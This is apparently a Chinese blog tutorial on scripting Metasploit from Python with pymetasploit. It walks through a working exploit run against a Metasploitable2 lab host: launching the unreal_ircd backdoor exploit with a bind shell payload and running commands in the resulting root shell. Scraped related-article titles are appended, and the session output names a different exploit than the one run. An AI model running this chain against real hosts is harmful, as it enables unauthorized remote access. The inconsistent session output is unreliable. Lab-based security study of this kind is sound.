最近想做一款自动化的主机漏洞扫描工具。打算以python作为基础语言,metasploit作为开发基础库。查资料发现国内的论坛博客都只会互相抄来抄去,没一个能打的。

那就我来写一篇。

本文用到的python库是allfro/pymetasploit

使用pip进行安装

pip install pymetasploit

我的开发环境是windows,metasploit跑在kali环境下。所以在kali下面要做如下配置。

首先是运行msfrpcd服务,-S参数表示不通过SSL进行连接,-U后接用户名,-P后接密码。具体可以输入msfrpcd -h查看。

msfrpcd -S -U peng -P peng

运行完后界面是这样的。

然后我们写第一行python程序。引入的方法是这样的:

from metasploit.msfrpc import MsfRpcClient

第二行获得连接的对象,是这样的。

client = MsfRpcClient(password="peng", username="peng", server="192.168.190.128", ssl=False )

解释一下,这个MsfRpcClient传入的参数中,password是必须的,其他可选参数有url/port,可以看源码得知其用途。

我们来打印一下这个对象可调用的方法。此时整体的代码是这样的。

from metasploit.msfrpc import MsfRpcClient

client = MsfRpcClient(password="peng", username="peng", server="192.168.190.128", ssl=False)

print [m for m in dir(client) if not m.startswith('_')]

返回的结果有:

['auth', 'authenticated', 'call', 'client', 'consoles', 'core', 'db', 'jobs', 'login', 'logout', 'modules', 'plugins', 'port', 'server', 'sessionid', 'sessions', 'ssl', 'uri']和metasploit framework类似,这个client也是分为不同模组的。解释一下其中几个重要的模组。

consoles:负责和msfconsole进行交互,也就是说使用这模块与使用msfconsole无异。

core:管理metasploit framework的核心模块。

db:管理与后端的数据库连接。

modules:重中之重,我们可以使用这个很轻松地调用msf的各种模组。

sessions:管理meterpeter的session用的,也是重中之重。

查看Exploit的方法和msfconsole类似。直接输入:

print [i for i in client.modules.exploits]就可以输出一个全部Exp的名字的List。同样的方法可以用于auxiliary、encoders、nops、payloads、post。

好了,我们上个Exp和靶机搞搞事情。

我们用的漏洞是Metasploitable2的unreal_ircd_3281_backdoor。这个漏洞是这样子的:6667端口上运行着UnreaIRCD IRC的守护进程,通过在一个系统命令后面添加两个字母“AB”发送给被攻击服务器任意一个监听该端口来触发。

使用exp的代码如下:

exploit = client.modules.use('exploit', '/unix/irc/unreal_ircd_3281_backdoor')

查看exploit描述、选项、要求的方法有:

print exploit.description

print exploit.options

print exploit.required返回结果如下:

设置Exp参数的方法如下:

exploit["RHOST"] = "192.168.190.129"查看可以使用的Payload:

print exploit.payloads返回结果:

['cmd/unix/bind_perl', 'cmd/unix/bind_perl_ipv6', 'cmd/unix/bind_ruby', 'cmd/unix/bind_ruby_ipv6', 'cmd/unix/generic', 'cmd/unix/reverse', 'cmd/unix/reverse_bash', 'cmd/unix/reverse_bash_telnet_ssl', 'cmd/unix/reverse_openssl', 'cmd/unix/reverse_perl', 'cmd/unix/reverse_perl_ssl', 'cmd/unix/reverse_ruby', 'cmd/unix/reverse_ruby_ssl', 'cmd/unix/reverse_ssl_double_telnet']运行Exp,并使用对应Payload:

print exploit.execute(payload="cmd/unix/bind_perl")然后可以返回session的id,如下所示。如果返回None,证明Exp没打进去:

{'job_id': 1, 'uuid': 'bdutdeae'}调用以下命令可以看到当前活跃的session:

print client.sessions.list这是当前的显示:

{1: {'info': '', 'username': 'root', 'session_port': 3632, 'via_payload': 'payload/cmd/unix/bind_perl', 'uuid': '7prx3xje', 'tunnel_local': '192.168.190.128:39936', 'via_exploit': 'exploit/unix/misc/distcc_exec', 'exploit_uuid': 'npenk79g', 'tunnel_peer': '192.168.190.129:4444', 'workspace': 'false', 'routes': '', 'target_host': '192.168.190.129', 'type': 'shell', 'session_host': '192.168.190.129', 'desc': 'Command shell'}}调用session的方法:

shell = client.sessions.session(1)

shell.write("whoami\n")

print shell.read()然后可以得到当前用户的信息。

daemon

我想写个漏洞扫描器。。。。。

python调用msf_使用python操纵metasploit简单小记相关推荐

  1. python 无法调用turtle_新人求助,关于python 调用turtle《python简单turtle教程》

    新人求助,关于python 调用turtle 什么呀 turtle是python的简单的绘块,以下是一个例子from turtle import * def yin(radius, color1, c ...

  2. Python调用Gurobi:Assignment Problem(指派问题)简单案例

    Python调用Gurobi:简单案例 Python调用Gurobi:Assignment Problem简单案例 1. Assignment Problem Model Python调用Gurobi ...

  3. python脚本中执行另一个脚本_如何用python调用另一个python脚本?

    如果想要将已经设置好的内容,在转移到另一个位置要怎么做呢?小编能写到的方法有,照抄,复制,以及转移使用.在我们日常办公上是非常好理解的,就是ctr v,但是如果想在编程上,将某一位置拿去到别的项目上使 ...

  4. python调用lib_基于python调用libvirt API

    基于python调用libvirt API 1.程序代码 #!/usr/bin/python import libvirt import sys def createConnection(): con ...

  5. python调用百度翻译-Python 调用百度翻译API

    由于实习公司这边做的是日文app,有时要看看用户反馈,对于我这种五十音图都没记住的人,表示百度翻译确实还可以.但不想每次都复制粘贴啊,google被墙也是挺蛋疼的事,所以用python结合baidu ...

  6. python调用php命令行,python调用php函数 python怎样调用php文件中的函数详解

    前言 python调用php代码实现思路:php文件可通过在terminal中使用php命令行进行调用,因此可使用python开启子进程执行命令行代码.函数所需的参数可通过命令行传递. 测试环境 1. ...

  7. python调用shell命令-Python调用shell命令常用方法(4种)

    方法一.使用os模块的system方法:os.system(cmd),其返回值是shell指令运行后返回的状态码,int类型,0表示shell指令成功执行,256表示未找到,该方法适用于shell命令 ...

  8. python 调用linux命令-Python调用shell命令常用方法

    Python调用shell指令 方法一.使用os模块的system方法:os.system(cmd),其返回值是shell指令运行后返回的状态码,int类型,0表示shell指令成功执行,256表示未 ...

  9. python调用shell命令-python调用shell命令小结

    在写python脚本的时候,经常需要调用系统命令,常用的python调用系统命令的方法主要有subprocess.call和os.popen.默认情况下subprocess.call的方法结果是返回值 ...

  10. python调用msf_MSF利用python反弹shell-Bypass AV

    本文主要介绍两种利用msf生成python版 payload,并利用Py2exe或PyInstaller将python文件转为exe文件,可成功bypass某些AV反弹shell msf-python ...

最新文章

  1. Discuz代码分析——index.php
  2. 这些 AI 大咖的实践干货,从事人工智能的你应该知道
  3. 入门讲解HTML5的画布功能(1)
  4. Mysql的timestamp与datetime
  5. 我的天,强化学习还能用在自动驾驶领域?
  6. 22、mysql主键自增值和偏移量的查看和修改
  7. 前端学习(1496):watch使用场景
  8. LeetCode 354. 俄罗斯套娃信封问题(最长上升子序 DP/二分查找)
  9. 一维数组转化为二维数组(java)
  10. android守护进程
  11. 用c语言编程图书管理系统,C语言图书管理系统简洁版
  12. 服务器挂软件系统,云服务器挂软件用什么系统
  13. LIVE MINI ESP32开发板教程系列(四)NeoPixel + ws2812b实现炫彩显示
  14. 毕业生必看,计算机毕设如何选题才能高分通过?
  15. Life:歌曲学习之教一个不会唱歌的人学会唱出《情非得已》、《海阔天空》、《红日》、《老男孩》等歌曲
  16. 蓝牙模式-Inquiry and Page详细解析含参数
  17. 探索YoloV3源码
  18. python和anaconda安装顺序_Anaconda详细安装步骤图文教程
  19. Criteria用法的小结
  20. 哒哒哒哒 一些有趣的东西 HihoCoder 1082 CUGOJ 1569

热门文章

  1. 在ASP.NET Atlas中调用Web Service——介绍及简单应用
  2. 16.凤凰架构:构建可靠的大型分布式系统 --- 向微服务迈进
  3. 11.大数据架构详解:从数据获取到深度学习 --- 大数据云化
  4. 33.go 错误处理
  5. iPhoneiPod Touch定位编写
  6. hihoCoder#1743:K-偏差排列(矩阵快速幂+状压dp)
  7. 02.规划过程组表格-沟通管理计划
  8. FastDFS+Nginx部署详细教程
  9. Linux下搭建BT服务器
  10. 页面制作(PS/HTML/CSS)易错点总结